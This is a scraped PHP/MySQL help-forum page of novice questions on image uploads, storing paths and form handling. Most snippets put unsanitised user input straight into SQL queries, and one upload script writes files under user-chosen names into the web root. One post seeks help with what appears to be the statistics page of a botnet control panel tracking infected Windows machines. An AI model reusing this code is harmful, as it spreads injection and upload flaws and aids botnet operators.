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PHP - Store Image Path In Mysql
hi i want to store url to images in database for logged in users (where id = $id)
and recall the image hopefully using --------------------- <img src="<?php echo row['link']; ?>" /> or similar and need help with the sql update string any ideas please help i been stuck with this for some time and now decided to ask around in this forum for help, please help if you can. Similar TutorialsHello freaks! Im new to this forum, but im not all that new to PHP and MySQL. Although there's been some years since the last time I used it, so don't go all freaky on me if I dont do this right Let's go on-topic: Im in progress of making an internal web-page for me and my colleagues to make things a bit easier for us. I am making an database of our different projects, and I need some help with the input form - as I need to upload an image to the server, and store the path in the MySQL database. In my input form, I need to store information from text fields, and I need to upload an image to the server and store the path in the database. Before I can even start to code this (although I have coded the input forum without the upload), I need to know what would be the best way to do this. I guess there are several ways.. What would the expert do (That's you right?)? Should I have the information input, and image upload in the same form, or should I make a second form (maybe on a different page) for the upload? Is it necessary with two tables, one for the info and one for the image path, and then tie them together with the imageID, or is it fine to use just one table? Any thoughts would be appreciated! <!-- TechThat --> Hi Guys, I need help for in storing data from PHP from array in mysql. I'm very new to PHP/Mysql and have started learing it just few weeks back. I'm tryting to build a website for myself. I'm having tough time trying to insert the data from Form in mysql. I have a form where user update the company name and insert there product name with there image. I want to rename the image with the corresponding text field value and insert the upload path in the table. my FORM Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <style type="text/css"> body,td,th { color: #000; font-family: Tahoma, Geneva, sans-serif; font-size: 80%; } body { background-color: #9CF; } table { background: #CCF; } th { font: bold normal 16px/normal "Times New Roman", Times, serif; text-transform: capitalize; color: #00F; background: #FFC; } td { font: bold 14px Georgia, "Times New Roman", Times, serif; text-transform: capitalize; color: #3A00FF; background: #FF9; } </style> </head> <body> <form action="upload-file1.php" method="post" enctype="multipart/form-data" name="form"> <strong>Company Name:</strong> <input name="product" type="text" /> <br /> <table> <tr bgcolor="#FF9900"> <th colspan="3" bgcolor="#CCFFFF">filter </th> <th colspan="5" bgcolor="#CCFFFF">heater</th> </tr> <tr><td>filter1</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater1: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter2</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater2: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter3</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater3: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter4</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater4: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> <tr><td>filter5</td><td><input name="filter[]" type="text" id="filter"/> <td><input name="img_filter[]" type="file" /></td><td>heater5: </td> <td><input name="heater[]" type="text" id="heater"/></td> <td><input name="img_heater[]" type="file" /></td> </tr> </table> <br /> <br /> <input name="submit" type="submit" value="submit" /> </form> </body> </html> my PHP Code Code: [Select] <?php require("connect.php"); ?> <?php $product = $_POST['product']; echo $product; if(isset($_POST["submit"])){ $sql = "INSERT INTO company (product) VALUES ('$product')"; $query = mysql_query($sql) OR DIE(mysql_error()); $comp_id = mysql_insert_id(); echo $sql; } ?> <?php function filter() { if(isset($_POST['submit'])) { foreach($_POST['filter'] as $key => $val) { if(trim($val) != '') $filter[] = $val; } $total_records_filter = count($filter); for($i = 0; $i < $total_records_filter; $i++) { $prod_val = $filter[$i]; $sql_prod = "INSERT INTO filter(filter_id, filter) VALUES('', '$prod_val')"; echo $sql_prod.'<br>'; mysql_query($sql_prod) OR die(mysql_error()); } } } filter(); function heater() { if(isset($_POST['submit'])) { foreach($_POST['heater'] as $key => $val) { if(trim($val) != '') $heater[] = $val; } $total_records_heater = count($heater); for($i = 0; $i < $total_records_heater; $i++) { $dir_val = $heater[$i]; $sql_dir = "INSERT INTO heater(heater_id, heater) VALUES('', '$dir_val')"; echo $sql_dir.'<br>'; mysql_query($sql_dir) OR die(mysql_error()); } } } heater(); ?> <?php mysql_close($link)?> My Table structure company comp_id int(5) PK product varchar(50) No filter filter_id int(5) PK filter varchar(25) No filter_path varchar(100) No heater heater_id int(5) PK heater varchar(25) No heater_path varchar(100) No company_filter id int(5) PK comp_id int(5) PK FK (From company table) filter_id int(5) PK FK (From filter table) company_heater id int(5) PK comp_id int(5) PK FK (From company table) heater_id int(5) PK FK (From heater table) Regards BW Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php
include_once('config.php');
$online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
$offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
$dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
$admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
$adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
$windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
$windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
$windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
$windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
$unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
$totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));
$onlinecount = 0;
$offlinecount = 0;
$deadcount = 0;
$admintruecount = 0;
$adminfalsecount = 0;
$windows8count = 0;
$windows7count = 0;
$windowsvistacount = 0;
$windowsxpcount = 0;
$unknowncount = 0;
while($row = mysql_fetch_array($online)){
$onlinecount++;
}
while($row = mysql_fetch_array($offline)){
$offlinecount++;
}
while($row = mysql_fetch_array($dead)){
$deadcount++;
}
while($row = mysql_fetch_array($admintrue)){
$admintruecount++;
}
while($row = mysql_fetch_array($adminfalse)){
$adminfalsecount++;
}
while($row = mysql_fetch_array($windows8)){
$windows8count++;
}
while($row = mysql_fetch_array($windows7)){
$windows7count++;
}
while($row = mysql_fetch_array($windowsvista)){
$windowsvistacount++;
}
while($row = mysql_fetch_array($windowsxp)){
$windowsxpcount++;
}
while($row = mysql_fetch_array($unknown)){
$unknowncount++;
}
$statustotal = $onlinecount + $offlinecount + $deadcount;
$admintotal = $admintruecount + $adminfalsecount;
$sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>
Can anyone tell me the error here, can how to fix it? This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=351137.0 Hi, how do I store as a string (in a variable) a mysql query b/c what I'm doing below outputs Resource id in client browser: Code: [Select] <?php //database connection set up etc $show=mysql_query("SELECT file_Name FROM xdocument WHERE doc_id=95"); print $show; ?> Any help much appreciated, thanks. I am using wampserver 2.2 on window 7 64 bit machine. I am using jpegcam to take snapshots and it works fine. I make upload folder within jpegcam/htdocs/upload to store snapshots. All works fine but how can i store uploaded images into mysql. I also want to retrieve image from mysql and print in php page. The problem is jpegcam used java script in form in which POST method and type file was not used. I am already done task like upload images to folder and store it into mysql using POST an $_FILES varibales . here the code of in jpegcam/htocs/test.html <form name="f1" enctype="multipart/form-data" method="" action="" > <input type=button value="Configure..." onClick="webcam.configure()"> <!-- <input type=button name="img" value="Take Snapshot" onClick="take_snapshot()"> --> <a href="javascript:void(webcam.freeze())">Freeze</a> <a href="javascript:void(webcam.upload())">Upload</a> <a href="javascript:void(webcam.reset())">Reset</a> </form> and this the code of jpegcam/htocs/test.php $target = 'upload/'; $filename = $target . date('YmdHis') . '.jpg'; $result = file_put_contents( $filename, file_get_contents('php://input') ); if (!$result) { print "ERROR: Failed to write data to $filename, check permissions\n"; exit(); } Now please tell me how can i store snapshots in mysql an retrieve it an print it in another php page.please plzplz help me as soon as possibe. please please... Thanks in advance. Hello guys, I am a new programmer and i am building a new website. I would like to give me your advice for the following problem: I want to build a webpage, in which there will be a <div id="book-content"> ...............</div> part. Inside this div i would like to dynamically display pages from a book. Each page will have text, scripting code blocks, blocks with the output of each scripting code, and images. There will be a bar on the left of the webpage in which the user can select which page of the book he wants to load. For example...My web page will look something like this... Code: [Select] <HTML> <HEAD> </HEAD> <BODY> <DIV ID="PAGE-HEADER"> //LOGO OF THE WEB PAGE </DIV> <DIV ID="PAGE-MENU"> //PAGE MENU </DIV> <DIV ID="BOOK-INDEX" WITH FLOAT:LEFT > //HERE A WILL SHOW THE CHAPTERS OF THE BOOK AND THE PAGES OF EACH CHAPTER </DIV> <DIV ID="BOOK-PAGE"> //THE PAGE SELECTED FROM THE PREVIOUS 'BOOK-INDEX' MENU WILL BE DISPLAYED HERE WITH A MYSQL QUERY ****** </DIV> </BODY> </HTML> Then in a mysql database, i would like to have records with a text field, that will contain for example the followng: <h1> Chapter 1: bla bla </h1> <p> in this chapter we will speak about bla bla bla.... </p> <div id="code"> int main() { int x,y; x=2; y=3; x=x+y; } </div> <p> this will outpout the following:</p> <div id="code output"> x=5! </div> I would like to get this html code from the database, and then show it in the <div id=BOOK-PAGE> div. But i dont want to use php eval(). Also, if i store the code to a file and then include it, i will have too may files(equal to the book's number of pages etc 100). Any ideas? Hi Guys, I have been contacted by a client who wants me to develop an application which performs the following functionality: Lets say the domain name is xyz.com . We provide an email of our domain to the person who signup on our website for our services. Lets say the email that is given to the customer is email@xyz.com The client wants to built PHP application in which if an email is sent to email@xyz.com it gets downloaded and is stored in the MySql Database. After the download there is going to be a set of algorithms which will decided whether to forward this email to the client or not on his email address. I have no idea how to accomplish this functionality. Any suggestions would be appreciated. Thanks Sadan Masroor. Hi there
I am just finalising my first ever PHP/MYSQL project and I am worried about where to safely keep my connection credentials for the SQL DB.
Currently, I am storing them in ../php/config.php and this works fine, but I am worried as to the security of this
Can anyone advise please
Thanks
Hi, I have this form which will create a checkbox list using data from my database and also determin if a checkbox had been checked before and check if it had. <form style="text-align:center" name="PrefRestaurant" id="PrefRestaurant" action="preferances_check.php" method="post"><table align="center"> <?php checkbox(id, name, restaurants, id); ?></table> <input type="submit" name="Prefer" id="Prefer" value="Επιλογή"/></form> function checkbox($intIdField, $strNameField, $strTableName, $strOrderField, $strMethod="asc") { $strQuery = "select $intIdField, $strNameField from $strTableName order by $strOrderField $strMethod"; $rsrcResult = mysql_query($strQuery); while ($arrayRow = mysql_fetch_assoc($rsrcResult)) { $testqry = "SELECT * FROM user_restaurant WHERE user_id = $_SESSION[UserId] AND restaurant_id = $arrayRow[id]"; $rsltestqry = mysql_query($testqry); $numrows = mysql_num_rows($rsltestqry); if ($numrows == 1) { echo "<tr align=\"left\"><td><input type=\"checkbox\" name=\"restaurant[]\" value=\"$arrayRow[id]\" checked/>$arrayRow[name]</td></tr>"; } else{ echo "<tr align=\"left\"><td><input type=\"checkbox\" name=\"restaurant[]\" value=\"$arrayRow[id]\" />$arrayRow[name]</td></tr>"; } } } Now the part which I can't get to work is when I'm trying to store the new values in my database. When I click the submit button I clear my database of any row that is related to the currently loggedin user and I want to store his new preferences (checked cheboxes). I've read that only the cheked checkboxes' values are POSTed so I did this (preferances_check.php) foreach($_POST['restaurant'] as $value) { $query="INSERT INTO user_restaurant VALUES ('$_SESSION[UserId]','$value')"; } But it is not working, nothing gets written in my table Could someone please enlighten me on this? Thnks! I am building a project that requires I store query strings in a table (stage_reqs) which are called to determine permissions. These strings will look something like this: Code: [Select] select salesman from jobs where salesman is not NULL and job_id='".$this->job_id."' limit 1 The variable value needs to be determined from within the function it is being accessed in. Can I use eval to do this? Thanks, Chris Hi: I'm a newby regarding uploading files to MySQL, turning report output into an HREF, and getting MySQL data via a hyperlink. I have successfully uploaded, files to MySQL, I have also been able to display filename information as a hyperlink in report output, but when I click on the hyperlink, I get the following message format on a 404 page: The requested URL /current_dir_of_requesting_page/filename.filetype was not found on this server. My reporting page has teh following line of code in a report table to create the hyperlink: <td style="width:225px"><? echo "<a href=".$row['name'].">".$row['name']."</a>";?></td> Can anyone assist me with this? hello dear php-experts,
well i want to do some data-saving in the next few days. i have some data amount to store in a mysql-db.
well i am pretty sure this is a easy question for php-freaks
the question is: from plain-text to mysql-db: how to store a triple / array? how to store this data into a mysql-db have a dataset of 10 000 lines: {'data_1': 'data_2', 'data_3': 'data_4', 'data_5': 'data_6', 'data_7': 'data_8'}
how to store this dataset into the mysql db ? love to hear from you greetings The Script:
<form method="post" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="text" name="hashtags" />
<input type="submit" name="submit" />
</form>
<?php
include("connect.php");
?>
<?php
if(isset($_POST['submit'])){
$hashtags = explode(", ", $_POST['hashtags']);
for($i= 0; $i < count($hashtags); $i++){
$tqs = "SELECT `id` FROM `hashtags_two` WHERE `hashtags` = '" . $hashtags[$i] . "'";
$tqr = mysqli_query($dbc, $tqs) or die(mysqli_error($dbc));
}
$fetch_array = array();
while($row = mysqli_fetch_array($tqr)){
$fetch_array[] = $row['id'];
}
}
Hey, sorry for these fundamental array questions lately, I am not going to ask much more when it comes to this.
The hashtags come from the submit form (separated by commas) and get stored inside an array with the "explode()" function. The script should select the ID numbers of the hashtags from the table.
With the script above only the last row gets inserted into $fetch_array inside the while loop.
When the $fetch_array variable is printed on screen then only one ID number can be seen inside the array:
Array ( [0] => 24 )How can I have the other ID numbers too? I have a payment button for PayPal which securely stores the amount, but when the payment is made how do i know if it was paid or not so i can get the page to store this in the mysql database? Hi there I have a MySQL database table that has multiple records which look like (1, Which of these are your favorite color(s)?, Red||Blue||Orange||Green, question-type1 ) I have written some PHP code in extracting that data into a HTML form. (The above data looks like a question with multiple options (radio buttons/checkboxes) below it). Below is what I'm trying to achieve: When the action is Submit: store the question number, user responses of the options , time stamp and user name into a new database table. I came to know that passing arrays will do the job, but I got stuck in the middle. Please see the attached documents that has the code. TIA [attachment deleted by admin] Hey Everyone, I have these 3 scripts to upload an image but I'm having an issue because the images uploaded are going to the same directory as the pages. What do I need to change to make the uploaded images go to a folder path called "pictures". Thanks in advance for the help. Script 1 <form name="form1" method="post" action="adminpicturebrowse.php"> <p align="center">How many pictures for this dog? Max is 9</p> <p align="center"> <input name="uploadNeed" type="text" id="uploadNeed" maxlength="1"> <input type="submit" name="Submit" value="Submit"> </p> </form> Script 2 <form name="form1" enctype="multipart/form-data" method="post" action="adminaddupload.php"> <p align="center"> <? // start of dynamic form $uploadNeed = $_POST['uploadNeed']; for($x=0;$x<$uploadNeed;$x++){ ?> <input name="uploadFile<? echo $x;?>" type="file" id="uploadFile<? echo $x;?>"> </p> <div align="center"> <? // end of for loop } ?> </div> <p align="center"><input name="uploadNeed" type="hidden" value="<? echo $uploadNeed;?>"> <input type="submit" name="Submit" value="Submit"> </p> </form> Script 3 <? $uploadNeed = $_POST['uploadNeed']; // start for loop for($x=0;$x<$uploadNeed;$x++){ $file_name = $_FILES['uploadFile'. $x]['name']; // strip file_name of slashes $file_name = stripslashes($file_name); $file_name = str_replace("'","",$file_name); $copy = copy($_FILES['uploadFile'. $x]['tmp_name'],$file_name); // check if successfully copied if($copy){ echo "$file_name<br>"; }else{ echo "$file_name<br>"; } } // end of loop ?> Hi, How can i show image using absolute path instead of virtual path?? Help please I have the folder structure like:
root
application
system
assets
uploads
folder assets contains all css, img, and js.
uploads contains user uploaded file.
I set a "helper/assets_helper.php" file to define:
define ('ASSETS_PATH', base_url().'assets/');
define ('UPLOAD_URL', base_url().'uploads/');
For all the css, img, and js, it works well like
href="<?php echo ASSETS_PATH; ?>css/mycss.css"But when I display the uploaded images, it couldn't display image with <a href="<?php echo UPLOAD_URL;?>images/myupload01.jpg" ><img src="<?php echo UPLOAD_URL;?>images/myupload01.jpg" /></a>This uploaded image actually works fine with my localhost with the link like: http://localhost:900.../myupload01.jpg. But it couldn't display on my hosting server with like: http://users.mywebsi.../myupload01.jpg Can anyone shed some light on it. Thanks! Edited by TFT2012, 20 October 2014 - 10:43 AM. Well, I am storing some of images on my server, but I have to type in the name myself which gets a bit boring and I may overwrite an old image by accident, so, I was thinking of having mysql auto increment the image names. But will this be suitable for images, or should it be text. |
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